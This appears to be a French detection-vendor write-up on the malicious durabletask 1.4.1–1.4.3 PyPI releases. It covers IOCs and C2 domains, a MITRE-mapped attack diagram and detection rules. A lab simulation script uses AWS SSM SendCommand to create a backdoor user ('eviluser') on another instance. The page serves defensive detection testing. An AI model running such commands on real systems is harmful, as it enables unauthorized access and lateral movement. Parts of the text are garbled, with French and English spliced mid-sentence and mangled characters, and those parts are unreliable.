durabletask : La dernière compromission de la chaîne d’approvisionnement PyPI par TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une attaque de la chaîne d’approvisionnement a visé le Microsoft durabletask package Python sur PyPI, entraînant la publication de versions malveillantes 1.4.1, 1.4.2, et 1.4.3. L’attaquant aurait exploité un compte GitHub compromis pour obtenir un jeton PyPI et télécharger des fichiers wheel armés. La charge utile malveillante a été livrée via rope.pyz archives conçues pour voler des identifiants cloud et se propager vers des systèmes supplémentaires. Les efforts de détection devraient se concentrer sur les fichiers temporaires spécifiques, les activités de processus suspectes et le trafic vers les domaines de commande et de contrôle identifiés.
Enquête
Wiz a lié le compte GitHub compromis à la campagne précédente @antv . Leur analyse a révélé que l’attaquant a réutilisé les messages de commit et accédé à des secrets GitHub divulgués contenant le jeton de publication PyPI. Les fichiers wheel malveillants incluaient un component transformers.pyz qui déposait rope.pyz des charges utiles dans /tmp et initiait une communication de commandement et de contrôle avec check.git-service.com and t.m-kosche.com.
Atténuation
Les organisations devraient tourner tous les identifiants cloud ou gestionnaire de mots de passe potentiellement exposés, bloquer les domaines et URL de commande et de contrôle identifiés, et rechercher des indicateurs d’infection tels que ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Tout fichier managed.pyz or rope-*.pyz temporaire devrait être supprimé et les processus Python associés devraient être arrêtés. Les workflows d’actions GitHub et de publication PyPI devraient également être renforcés pour réduire le risque de compromission similaire.
Réponse
Les équipes de sécurité devraient identifier toute utilisation des durabletask versions 1.4.1 jusqu’à 1.4.3, rechercher /tmp/managed.pyz and /tmp/rope-*.pyz, et surveiller les processus python3 exécutant ces fichiers. Le trafic DNS et HTTP sortant vers processes executing those files. Outbound DNS and HTTP traffic to check.git-service.com and t.m-kosche.com devrait être bloqué, tandis que les journaux d’audit CloudTrail et Kubernetes devraient être vérifiés pour les activités suspectes de SSM ou kubectl exec . Les identifiants affectés devraient être immédiatement renouvelés, et les journaux des gestionnaires de mots de passe doivent être vérifiés pour détecter des signes de force brute ou d’accès non autorisé.
« graph TB
%% Class definitions
classDef action fill:#99ccff
classDef tool fill:#ffcc99
classDef file fill:#ccffcc
classDef malware fill:#ff9999
classDef credential fill:#ffff99
classDef operator fill:#ff9900
classDef c2 fill:#ffb6c1
%% Nodes
initial_node[« Début : L’attaquant obtient des informations d’identification GitHub valides »]
class initial_node action
action_initial_access[« Action – T1078 Comptes Valides : Le compte GitHub compromis fournit un accès au référentiel »]
class action_initial_access action
tool_gitHub[« Outil – Nom : GitHub
Rôle : Plateforme d’hébergement de code source »]
class tool_gitHub tool
action_cred_exploit[« Action – T1212 Exploitation pour l’Accès aux Informations d’Identification : Secrets GitHub vidés pour obtenir le jeton PyPI »]
class action_cred_exploit action
file_pypi_token[« Fichier – Nom : Jeton PyPI »]
class file_pypi_token file
action_cred_password_stores[« Action – T1555.005 Gestionnaires de Mots de Passe & T1555.006 Magasins de Secrets Cloud : Informations d’identification récoltées pour les plateformes cloud et les gestionnaires de mots de passe »]
class action_cred_password_stores action
credential_aws[« Identifiant : Clés d’accès AWS et jeton SSM »]
class credential_aws credential
credential_azure[« Identifiant : Principal de service Azure »]
class credential_azure credential
credential_gcp[« Identifiant : Compte de service GCP »]
class credential_gcp credential
credential_k8s[« Identifiant : Jeton du compte de service Kubernetes »]
class credential_k8s credential
credential_vault[« Identifiant : Jeton HashiCorp Vault »]
class credential_vault credential
action_supply_chain[« Action – T1195.002 Compromettre la Chaîne d’Approvisionnement Logicielle : Utilisé le jeton PyPI pour publier des paquets durabletask 1.4.1u20111.4.3 malveillants »]
class action_supply_chain action
tool_pypi[« Outil – Nom : Référentiel PyPI »]
class tool_pypi tool
malware_durabletask[« Logiciel Malveillant – Nom : Paquet durabletask (malveillant) »]
class malware_durabletask malware
action_execution[« Action – T1204.002 Exécution par l’Utilisateur : Fichier Malveillant : Les victimes installent le paquet compromis provoquant le téléchargement de la charge utile »]
class action_execution action
file_managed[« Fichier – Chemin : /tmp/managed.pyz »]
class file_managed file
file_rope[« Fichier – Chemin : /tmp/rope-*.pyz »]
class file_rope file
action_defense_evasion[« Action – T1127 Exécution de Proxy d’Utilitaires de Développeur de Confiance : Code malveillant exécuté via les hooks d’importation Python »]
class action_defense_evasion action
action_persistence[« Action – T1176 Extensions Logicielles : Points d’injection dans __init__.py et d’autres modules »]
class action_persistence action
action_credential_dumping[« Action – T1003 Vidage d’Informations d’Identification du Système : Extraction de jetons SSM AWS, jetons Kubernetes et historique du shell »]
class action_credential_dumping action
action_lateral_movement[« Action – T1570 Transfert d’Outil Latéral : Propagation à des hôtes supplémentaires via AWS SSM et Kubernetes exec »]
class action_lateral_movement action
tool_aws_ssm[« Outil – Nom : AWS SSM »]
class tool_aws_ssm tool
tool_k8s_exec[« Outil – Nom : Kubernetes exec »]
class tool_k8s_exec tool
op_and((« ET »))
class op_and operator
action_c2[« Action – T1219 Outils d’Accès à Distance & T1071.001 Protocoles Web : Communique avec les domaines C2 en utilisant le point de terminaison /v1/models »]
class action_c2 action
c2_domain1[« Domaine C2 : check.git-service.com »]
class c2_domain1 c2
c2_domain2[« Domaine C2 : t.mu2011kosche.com »]
class c2_domain2 c2
action_exfiltration[« Action – T1048 Exfiltration par un Protocole Alternatif : Données envoyées au point de terminaison /api/public/version »]
class action_exfiltration action
exfil_endpoint[« Point de Terminaison : /api/public/version »]
class exfil_endpoint c2
%% Connections
initial_node –>|conduit à| action_initial_access
action_initial_access –>|active| action_cred_exploit
action_cred_exploit –>|capture| file_pypi_token
file_pypi_token –>|utilisé par| action_supply_chain
action_supply_chain –>|publie| malware_durabletask
malware_durabletask –>|installé par| action_execution
action_execution –>|télécharge| file_managed
action_execution –>|télécharge| file_rope
file_managed –>|exécuté via| action_defense_evasion
file_rope –>|exécuté via| action_defense_evasion
action_defense_evasion –>|établit| action_persistence
action_persistence –>|active| action_credential_dumping
action_credential_dumping –>|collecte| credential_aws
action_credential_dumping –>|collecte| credential_azure
action_credential_dumping –>|collecte| credential_gcp
action_credential_dumping –>|collecte| credential_k8s
action_credential_dumping –>|collecte| credential_vault
credential_aws –>|utilisé pour| action_lateral_movement
credential_k8s –>|utilisé pour| action_lateral_movement
action_lateral_movement –>|utilise| tool_aws_ssm
action_lateral_movement –>|utilise| tool_k8s_exec
action_lateral_movement –>|s’étend à| op_and
op_and –>|connecte à| action_c2
action_c2 –>|contacte| c2_domain1
action_c2 –>|contacte| c2_domain2
c2_domain1 –>|reçoit des données via| action_exfiltration
c2_domain2 –>|reçoit des données via| action_exfiltration
action_exfiltration –>|envoie à| exfil_endpoint
«
Flux d’Attaque
Détections
Téléchargement Exécutable Suspect (via proxy)
Voir
Un Script Linux a été Créé dans des Dossiers Temporaires (via file_event)
Voir
Un Fichier Caché a Été Créé sur un Hôte Linux (via file_event)
Voir
IOC (HashSha256) pour détecter : durabletask : Dernière Compromission PyPi de TeamPCP
Voir
Connexion Sortante aux Domaines C2 de TeamPCP [Proxy]
Voir
Détecter l’Exécution de la Charge Utile Python via /tmp/managed.pyz [Création de Processus Linux]
Voir
Détection de la Propagation AWS SSM via SSM:SendCommand et SSM:DescribeInstanceInformation [AWS Cloudtrail]
Voir
Exécution de Simulation
Pré-requis : Le Contrôle de Pré-Vol de Télémétrie et de Référence doit être passé.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour activer la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narrative d’Attaque & Commandes :
Un adversaire a obtenu des informations d’identification sur une instance EC2 compromise (Instance A). En utilisant ces identifiants, l’attaquant utilise AWS Systems Manager pour infiltrer une deuxième instance (Instance B) sans ouvrir aucun port réseau. Les étapes sont :- Énumérer les instances accessibles via
SSM:DescribeInstanceInformationpour localiser les cibles. - Envoyer une commande malveillante jusqu’à
SSM:SendCommand(par exemple, créer un nouvel utilisateur privilégié) sur l’instance cible. - Valider l’exécution en récupérant la sortie de la commande.
L’attaquant utilise l’AWS CLI, ce qui génère directement des événements CloudTrail pour les deux appels API, satisfaisant les conditions de la règle.
- Énumérer les instances accessibles via
-
Script de Test de Régression : Le script ci-dessous reproduit l’attaque dans un laboratoire contrôlé. Il s’attend à ce que l’AWS CLI soit configuré avec des informations d’identification qui ont
ssm:SendCommandandssm:DescribeInstanceInformationssm:SendCommand#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Variables – adaptez à votre environnement de laboratoire # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Instance A (point d'appui de l'attaquant) TARGET_INSTANCE="i-0fedcba9876543210" # Instance B (cible latérale) # 1️⃣ Énumérer les instances gérées par SSM (déclenche DescribeInstanceInformation) echo "[*] Énumération des instances gérées par SSM..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ Envoyer une charge utile malveillante à $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Conserver l'utilisateur malveillant" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ Récupérer l'ID de la commande et attendre l'exécution (facultatif) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] ID de Commande: $CMD_ID – attente de l'exécution..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Simulation complète. CloudTrail devrait maintenant contenir à la fois des événements SSM:DescribeInstanceInformation et SSM:SendCommand." -
Commandes de Nettoyage : Supprimez l’utilisateur malveillant et supprimez tout historique de commande résiduel.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Nettoyage des artefacts malveillants sur $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Nettoyage après le test" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"